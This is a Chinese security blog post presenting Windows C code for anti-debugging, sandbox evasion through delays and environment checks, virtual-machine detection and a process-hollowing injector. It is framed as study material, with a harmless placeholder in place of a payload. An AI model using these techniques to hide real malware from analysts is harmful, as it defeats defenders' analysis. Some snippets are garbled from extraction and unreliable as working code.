浅谈反沙箱、反调试技术

admin 2024年2月19日00:42:40评论13 views字数 15320阅读51分4秒阅读模式

关注并星标🌟 一起学安全❤️

作者:coleak  

首发于公号:渗透测试安全攻防 

字数:13958

声明:仅供学习参考,请勿用作违法用途

目录

  • 反调试

  • 反沙箱

    • 时间对抗

    • 环境检测

  • 反虚拟机

  • 黑DLL父进程检测

  • 傀儡进程

  • 后记


反调试

IsDebuggerPresent

#include<windows.h>
#include<stdio.h>
BOOL check()
{
 return IsDebuggerPresent();
}
BOOL isPrime(long long number){
    if (number <= 1)
        return FALSE;
    int i = 2;
    for (; i<= number; ++i) {
        if (number % i == 0) {
            printf("%d", i);
            return FALSE;
        }
    }
    printf("%d", i);
    return TRUE;
}
int main()
{
    if (check())
    BOOL d=isPrime(1000000000000000003);
 return 0;
}

CheckRemoteDebuggerPresent

BOOL CheckRemoteDebuggerPresent(
  [in]      HANDLE hProcess,
  [in, out] PBOOL  pbDebuggerPresent
)
;
#include<windows.h>
#include<stdio.h>
BOOL check()
{
    HANDLE hProcess = GetCurrentProcess();
    BOOL debuggerPresent;
    if (hProcess != NULL) {
        CheckRemoteDebuggerPresent(hProcess, &debuggerPresent);
        CloseHandle(hProcess);
        return debuggerPresent;        
    }
    else {
        CloseHandle(hProcess);
        return TRUE;
    }


}
BOOL isPrime(long long number){
    if (number <= 1)
        return FALSE;
    int i = 2;
    for (; i<= number; ++i) {
        if (number % i == 0) {
            printf("%d", i);
            return FALSE;
        }
    }
    printf("%d", i);
    return TRUE;
}
int main()
{
    if (check())
    BOOL d=isPrime(1000000000000000003);
 return 0;
}

NtQueryInformationProcess

#include<windows.h>
#include<stdio.h>
#include<iostream>
typedef NTSTATUS(NTAPI* pfnNtQueryInformationProcess)(
    _In_      HANDLE           ProcessHandle,
    _In_      UINT             ProcessInformationClass,
    _Out_     PVOID            ProcessInformation,
    _In_      ULONG            ProcessInformationLength,
    _Out_opt_ PULONG           ReturnLength)
;
BOOL check()
{
    pfnNtQueryInformationProcess NtQueryInformationProcess = NULL;
    NTSTATUS status;
    DWORD isDebuggerPresent = -1;
    HMODULE hNtDll = LoadLibrary(TEXT("ntdll.dll"));
    if (hNtDll)
    {
        NtQueryInformationProcess = (pfnNtQueryInformationProcess)GetProcAddress(hNtDll, "NtQueryInformationProcess");
        if (NtQueryInformationProcess)
        {
            status = NtQueryInformationProcess(
                GetCurrentProcess(),
                0x7,
                &isDebuggerPresent,
                sizeof(DWORD),
                NULL
            );
            if (status == 0 && isDebuggerPresent != 0) {
                // 输出
                return TRUE;
            }
            return FALSE;
        }
    }
}
BOOL isPrime(long long number)
{
    if (number <= 1)
        return FALSE;
    int i = 2;
    for (; i<= number; ++i) {
        if (number % i == 0) {
            printf("%d", i);
            return FALSE;
        }
    }
    printf("%d", i);
    return TRUE;
}
int main()
{
    if (check())
    BOOL d=isPrime(1000000000000000003);
 return 0;
}

检测进程

#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
BOOL check()
{
    HANDLE hProcessSnap;
    PROCESSENTRY32 pe32;
    hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hProcessSnap == INVALID_HANDLE_VALUE) {
        printf("错误:无法创建进程快照n");
        return 1;
    }
    pe32.dwSize = sizeof(PROCESSENTRY32);
    if (!Process32First(hProcessSnap, &pe32)) {
        printf("错误:无法获取第一个进程n");
        CloseHandle(hProcessSnap);
        return 1;
    }
    do {
        if (wcscmp(pe32.szExeFile, L"ida.exe") == 0 || wcscmp(pe32.szExeFile, L"x64dbg.exe")==0) {
            CloseHandle(hProcessSnap);
            return TRUE;
        }
    } while (Process32Next(hProcessSnap, &pe32));
    CloseHandle(hProcessSnap);
    return FALSE;
}
BOOL isPrime(long long number)
{
    if (number <= 1)
        return FALSE;
    int i = 2;
    for (; i <= number; ++i) {
        if (number % i == 0) {
            printf("%d", i);
            return FALSE;
        }
    }
    printf("%d", i);
    return TRUE;
}
int main()
{
    if (check())
        BOOL d = isPrime(1000000000000000003);
    return 0;
}

反沙箱

时间对抗

WaitForSingleObject

HANDLE CreateEventA(
  [in, optional] LPSECURITY_ATTRIBUTES lpEventAttributes,
  [in]           BOOL                  bManualReset,
  [in]           BOOL                  bInitialState,
  [in, optional] LPCSTR                lpName
)
;
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
BOOL check()
{
    HANDLE hEvent = CreateEventA(NULL, TRUE, FALSE, NULL);
    WaitForSingleObject(hEvent, 10000);
    CloseHandle(hEvent);
    return FALSE;
}
int main()
{
    if (check()){}
    return 0;
}

NtDelayExecution

#include <windows.h>
#include <iostream>
#include <stdio.h>
typedef NTSTATUS(NTAPI* pfnNtDelayExecution)(BOOL Alertable, PLARGE_INTEGER DelayInterval);
BOOL check()
{
    // 加载 ntdll.dll
    HMODULE hModule = LoadLibrary(L"ntdll.dll");
    if (hModule == NULL) {
        return 1;
    }
    // 获取 NtDelayExecution 函数地址
    pfnNtDelayExecution fnNtDelayExecution = (pfnNtDelayExecution)GetProcAddress(hModule, "NtDelayExecution");
    if (fnNtDelayExecution == NULL) {
        FreeLibrary(hModule);
        return 1;
    }

    // 构造延迟时间
    LARGE_INTEGER delayTime;
    delayTime.QuadPart = -50000000;  //5秒

    // 调用 NtDelayExecution 函数
    NTSTATUS status = fnNtDelayExecution(FALSE, &delayTime);
    if (status != 0) {
        std::cout << "NtDelayExecution failed with status: " << status << std::endl;
        FreeLibrary(hModule);
    }
}
int main()
{
    if (check()){}
    return 0;
}

GetTickCount64

#include <windows.h>
#include <sysinfoapi.h>
#include <stdio.h>
typedef NTSTATUS(NTAPI* pfnNtDelayExecution)(BOOL Alertable, PLARGE_INTEGER DelayInterval);
BOOL isPrime(long long number);
BOOL check();
int main()
{
    if (check()) { isPrime(1000000000000000003); }
    return 0;
}
BOOL isPrime(long long number) {
    if (number <= 1)
        return FALSE;
    int i = 2;
    for (; i <= number; ++i) {
        if (number % i == 0) {
            printf("%d", i);
            return FALSE;
        }
    }
    printf("%d", i);
    return TRUE;
}
BOOL check()
{
    ULONGLONG t = GetTickCount64();
    if (t / 3600000 < 2)
        return TRUE;
    return FALSE;
}

环境检测

GlobalMemoryStatusEx

#include <windows.h>
#include <sysinfoapi.h>
#include <stdio.h>
typedef NTSTATUS(NTAPI* pfnNtDelayExecution)(BOOL Alertable, PLARGE_INTEGER DelayInterval);
BOOL isPrime(long long number);
BOOL check();
int main()
{
    if (check()) { isPrime(1000000000000000003); }
    return 0;
}
BOOL isPrime(long long number) {
    if (number <= 1)
        return FALSE;
    int i = 2;
    for (; i <= number; ++i) {
        if (number % i == 0) {
            printf("%d", i);
            return FALSE;
        }
    }
    printf("%d", i);
    return TRUE;
}
BOOL check()
{
        MEMORYSTATUSEX memoryStatus;
        memoryStatus.dwLength = sizeof(MEMORYSTATUSEX);
        GlobalMemoryStatusEx(&memoryStatus);
        DWORD RAMMB = memoryStatus.ullTotalPhys / 1024/1024/1024;  //内存RAMMB(G)
        if (RAMMB < 2)
            return TRUE;
        return FALSE;
}

dwNumberOfProcessors

#include <windows.h>
#include <sysinfoapi.h>
#include <stdio.h>
typedef NTSTATUS(NTAPI* pfnNtDelayExecution)(BOOL Alertable, PLARGE_INTEGER DelayInterval);
BOOL isPrime(long long number);
BOOL check();
int main()
{
    if (check()) { isPrime(1000000000000000003); }
    return 0;
}
BOOL isPrime(long long number) {
    if (number <= 1)
        return FALSE;
    int i = 2;
    for (; i <= number; ++i) {
        if (number % i == 0) {
            printf("%d", i);
            return FALSE;
        }
    }
    printf("%d", i);
    return TRUE;
}
BOOL check()
{
        SYSTEM_INFO systemInfo;
        GetSystemInfo(&systemInfo);
        DWORD numberOfProcessors = systemInfo.dwNumberOfProcessors;
        if (numberOfProcessors < 4)
            return TRUE;
        return FALSE;
}

检测文件名

#include <windows.h>
#include <sysinfoapi.h>
#include <stdio.h>
typedef NTSTATUS(NTAPI* pfnNtDelayExecution)(BOOL Alertable, PLARGE_INTEGER DelayInterval);
BOOL isPrime(long long number);
BOOL check(const char* name);
int main(int argc, char const* argv[])
{
    if (check(argv[0])) { isPrime(1000000000000000003); }
    return 0;
}
BOOL isPrime(long long number) {
    if (number <= 1)
        return FALSE;
    int i = 2;
    for (; i <= number; ++i) {
        if (number % i == 0) {
            printf("%d", i);
            return FALSE;
        }
    }
    printf("%d", i);
    return TRUE;
}
BOOL check(const char *name)
{
    printf("%s", name);
    if (strcmp(name, "c:\c_project\aaa.exe") > 0//绝对路径
    {
        return FALSE;
    }
    return TRUE;
}

检测语言

#include <windows.h>
#include <sysinfoapi.h>
#include <stdio.h>
typedef NTSTATUS(NTAPI* pfnNtDelayExecution)(BOOL Alertable, PLARGE_INTEGER DelayInterval);
BOOL isPrime(long long number);
BOOL check(const char* name);
int main(int argc, char const* argv[])
{
    if (check(argv[0])) { isPrime(1000000000000000003); }
    return 0;
}
BOOL isPrime(long long number) {
    if (number <= 1)
        return FALSE;
    int i = 2;
    for (; i <= number; ++i) {
        if (number % i == 0) {
            printf("%d", i);
            return FALSE;
        }
    }
    printf("%d", i);
    return TRUE;
}
BOOL check(const char *name)
{
    LANGID lid = GetSystemDefaultLangID(); // 获取系统默认ID
    switch (lid)
    {
    case 0x0804://中文
        return FALSE;
        
    case 0x0409:
        return TRUE;
    }
    return TRUE;    
}

反虚拟机

PathIsDirectoryA

#include<shlwapi.h>
#include <windows.h>
#include<iostream>
#include<stdio.h>
#pragma comment(lib, "shlwapi.lib")

BOOL isPrime(long long number);
BOOL check();
int main()
{
    if (check()) { isPrime(1000000000000000003); }
    return 0;
}
BOOL isPrime(long long number) {
    if (number <= 1)
        return FALSE;
    int i = 2;
    for (; i <= number; ++i) {
        if (number % i == 0) {
            printf("%d", i);
            return FALSE;
        }
    }
    printf("%d", i);
    return TRUE;
}
BOOL check()
{
    if (PathIsDirectoryA((LPCSTR) "C:\Program Files\VMware"))
        return TRUE;
    return FALSE;
}

进程检测

浅谈反沙箱、反调试技术


#include <windows.h>
#include <TlHelp32.h>
#include<stdio.h>

BOOL isPrime(long long number);
BOOL check();
BOOL getpid(LPCTSTR ProcessName);
int main()
{
    if (check()) { isPrime(1000000000000000003); }
    return 0;
}
BOOL isPrime(long long number) {
    if (number <= 1)
        return FALSE;
    int i = 2;
    for (; i <= number; ++i) {
        if (number % i == 0) {
            printf("%d", i);
            return FALSE;
        }
    }
    printf("%d", i);
    return TRUE;
}
BOOL check()
{
    if (getpid(L"vmtoolsd.exe")|| getpid(L"vboxservice.exe") || getpid(L"vboxtray.exe") || getpid(L"vm3dservice.exe"))
        return TRUE;
    return FALSE;
}
BOOL getpid(LPCTSTR ProcessName)
{
    HANDLE hProceessnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hProceessnap == INVALID_HANDLE_VALUE)
    {
        puts("创建进行快照失败n");
        return 0;
    }
    else
    {
        PROCESSENTRY32 pe32;
        pe32.dwSize = sizeof(pe32);
        BOOL hProcess = Process32First(hProceessnap, &pe32);
        while (hProcess)
        {
            if (_wcsicmp(ProcessName, pe32.szExeFile) == 0)
            {
                printf("pid:%dn", pe32.th32ProcessID);
                //printf("ppid:%d", pe32.th32ParentProcessID);
                CloseHandle(hProceessnap);
                return TRUE;
            }
            hProcess = Process32Next(hProceessnap, &pe32);
        }
    }
    CloseHandle(hProceessnap);
    return FALSE;
}

黑DLL父进程检测

#include <windows.h>
#include <TlHelp32.h>
#include<stdio.h>
#include<psapi.h>
#include<string.h>
BOOL isPrime(long long number);
BOOL check();
BOOL getpid(DWORD pid);
int main()
{
    if (check()) { isPrime(1000000000000000003); }
    return 0;
}
BOOL isPrime(long long number) {
    if (number <= 1)
        return FALSE;
    int i = 2;
    for (; i <= number; ++i) {
        if (number % i == 0) {
            printf("%d", i);
            return FALSE;
        }
    }
    printf("%d", i);
    return TRUE;
}
BOOL check()
{
    if (getpid(GetCurrentProcessId()))
        return TRUE;
    return FALSE;
}
BOOL getpid(DWORD pid)
{
    HANDLE hProceessnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hProceessnap == INVALID_HANDLE_VALUE)
    {
        puts("创建进行快照失败n");
        return 0;
    }
    else
    {
        PROCESSENTRY32 pe32;
        pe32.dwSize = sizeof(pe32);
        BOOL hProcess = Process32First(hProceessnap, &pe32);
        while (hProcess)
        {
            if (pe32.th32ProcessID == pid)
            {
                char Buffer[1000] = { 0 };
                HANDLE parentProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, false, pe32.th32ParentProcessID);
                printf("%dn", pe32.th32ParentProcessID);
                GetModuleFileNameExA(parentProcessHandle, 0, Buffer, MAX_PATH);
                printf("%s", Buffer);
                CloseHandle(hProceessnap);
                if(strstr(Buffer,"rundll32"))
                return TRUE;
                return FALSE;
            }
            hProcess = Process32Next(hProceessnap, &pe32);
        }
    }
    CloseHandle(hProceessnap);
    return FALSE;
}

傀儡进程


#include <iostream>
#include <Windows.h>
const char* g_TargetFile = R"(C:UserscoleakDesktopee.exe)";
const char* g_TargetFile2 = R"(C:UserscoleakDesktopdd.exe)";
typedef NTSTATUS(WINAPI* FnNtUnmapViewOfSection)(HANDLE, PVOID);

int main()
{
 STARTUPINFOA si = { 0 };
 si.cb = sizeof(STARTUPINFOA);
 PROCESS_INFORMATION pi;
 //以挂起的模式启动一个进程
 BOOL bRet = CreateProcessA((LPCSTR)g_TargetFile2, NULLNULLNULL, FALSE, CREATE_SUSPENDED, NULLNULL, &si, &pi);
 //打开文件
 HANDLE hFile = CreateFileA((LPCSTR)g_TargetFile, GENERIC_READ, NULLNULL, OPEN_EXISTING, 0NULL);
 //获取文件大小
 DWORD dwFileSize = GetFileSize(hFile, NULL);
 //申请一块内存空间
 PVOID lpBuffer = VirtualAlloc(NULL, dwFileSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
 //将内存读取到申请的内存空间
 DWORD dwReadLength = 0;
 ReadFile(hFile, lpBuffer, dwFileSize, &dwReadLength, NULL);
 //关闭文件
 CloseHandle(hFile);
 //解析PE文件
 //获取Dos头
 PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)lpBuffer;
 //获取Nt头
 PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)(pDos->e_lfanew + (DWORD)lpBuffer);
 //获取线程上下文
 CONTEXT ctx;
 ctx.ContextFlags = CONTEXT_ALL;
 GetThreadContext(pi.hThread, &ctx);
 //获取模块基地址
 PVOID lpImageBase;
 ReadProcessMemory(pi.hProcess, (LPCVOID)(ctx.Ebx + 8), &lpImageBase, sizeof(PVOID), NULL);
 if ((DWORD)lpImageBase == pNt->OptionalHeader.ImageBase)
 {
  FnNtUnmapViewOfSection NtUnmapViewOfSection = (FnNtUnmapViewOfSection)GetProcAddress(LoadLibraryA("ntdll.dll"), "NtUnmapViewOfSection");
  NtUnmapViewOfSection(pi.hProcess, lpImageBase);
 }

 //申请内存设置属性为rwx
 PVOID lpTargetMemory = VirtualAllocEx(pi.hProcess, (PVOID)pNt->OptionalHeader.ImageBase, pNt->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
 WriteProcessMemory(pi.hProcess, lpTargetMemory, lpBuffer, pNt->OptionalHeader.SizeOfHeaders, NULL);
 PIMAGE_SECTION_HEADER pSection;
 for (int i = 0; i < pNt->FileHeader.NumberOfSections; i++)
 {
  pSection = (PIMAGE_SECTION_HEADER)((LPBYTE)lpBuffer + pDos->e_lfanew + sizeof(IMAGE_NT_HEADERS) + (sizeof(IMAGE_SECTION_HEADER) * i));
  WriteProcessMemory(pi.hProcess, ((LPBYTE)lpTargetMemory + pSection->VirtualAddress), ((LPBYTE)lpBuffer + pSection->PointerToRawData), pSection->SizeOfRawData, NULL);
 }

 ctx.Eax = (DWORD)((LPBYTE)lpTargetMemory + pNt->OptionalHeader.AddressOfEntryPoint);
 //替换PE头
 WriteProcessMemory(pi.hProcess, (LPVOID)(ctx.Ebx + sizeof(DWORD) * 2), &pNt->OptionalHeader.ImageBase, sizeof(LPVOID), NULL);

 SetThreadContext(pi.hThread, &ctx);
 ResumeThread(pi.hThread);

 CloseHandle(pi.hProcess);
 CloseHandle(pi.hThread);

 return 0;
}

后记

GetSystemDefaultLangID函数返回值ID参照表

zh-HK 0x0C04 中文(香港特别行政区,中国)
zh-MO 0x1404 中文(澳门特别行政区)
zh-CN 0x0804 中文(中国)
zh-Hans 0x0004 中文(简体)
zh-SG 0x1004 中文(新加坡)
zh-TW 0x0404 中文(台湾)
zh-Hant 0x7C04 中文(繁体)



文章首发于:渗透测试安全攻防

原文始发于微信公众号(渗透测试安全攻防):浅谈反沙箱、反调试技术

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月19日00:42:40
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   浅谈反沙箱、反调试技术http://cn-sec.com/archives/2503811.html

发表评论

匿名网友 填写信息